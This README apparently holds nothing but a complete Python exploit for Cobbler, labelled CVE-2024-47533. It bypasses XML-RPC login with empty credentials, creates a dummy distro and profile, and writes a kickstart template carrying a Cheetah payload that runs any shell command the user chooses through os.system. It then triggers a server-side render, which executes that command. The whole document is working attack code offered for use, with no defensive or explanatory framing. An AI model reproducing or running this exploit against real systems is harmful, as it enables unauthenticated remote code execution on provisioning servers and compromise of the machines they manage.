README.md
Rendering markdown...
#!/usr/bin/env python3
import xmlrpc.client
import argparse
import sys
def ensure_distro(srv, token, name="pwn_distro"):
distros = srv.get_distros()
if distros:
return distros[0]["name"]
# Create a minimal "dummy" distro; fields just need to exist
did = srv.new_distro(token)
srv.modify_distro(did, "name", name, token)
srv.modify_distro(did, "arch", "x86_64", token)
srv.modify_distro(did, "breed", "redhat", token)
# Cobbler wants these set, but they won't be used by render
srv.modify_distro(did, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)
srv.modify_distro(did, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)
srv.save_distro(did, token)
return name
def ensure_profile(srv, token, profile_name="pwnprof"):
try:
pid = srv.new_profile(token)
srv.modify_profile(pid, "name", profile_name, token)
except xmlrpc.client.Fault:
pid = srv.get_profile(profile_name, token)
return pid
def main():
ap = argparse.ArgumentParser(description="Cobbler CVE-2024-47533 render-RCE")
ap.add_argument("--url", required=True, help="XML-RPC endpoint (e.g. http://127.0.0.1:25151 or http://host/cobbler_api)")
ap.add_argument("--cmd", required=True, help="Command to run on the server during render")
ap.add_argument("--profile", default="pwnprof", help="Profile name to create/use")
ap.add_argument("--distro", default="pwn_distro", help="Distro name to create if none exist")
args = ap.parse_args()
srv = xmlrpc.client.ServerProxy(args.url)
token = srv.login("", -1) # CVE-2024-47533
# Ensure a distro exists (create dummy if needed)
distro_name = ensure_distro(srv, token, args.distro)
print(f"[+] Using distro: {distro_name}")
# Cheetah expression-only payload keeps renderer happy
payload = f"""#set $null = __import__('os').system({args.cmd!r})
lang en_US
keyboard us
network --bootproto=dhcp
rootpw --plaintext cobbler
timezone UTC
bootloader --location=mbr
clearpart --all --initlabel
autopart
reboot
"""
# Write malicious template
srv.write_autoinstall_template("pwn.ks", payload, token)
# Create/reuse profile and wire it up
pid = ensure_profile(srv, token, args.profile)
srv.modify_profile(pid, "distro", distro_name, token)
srv.modify_profile(pid, "autoinstall", "pwn.ks", token)
srv.modify_profile(pid, "kickstart", "pwn.ks", token)
srv.save_profile(pid, token)
# Trigger server-side render (no token arg here)
print("[+] Triggering render...")
rendered = srv.generate_profile_autoinstall(args.profile)
print(rendered)
if __name__ == "__main__":
main()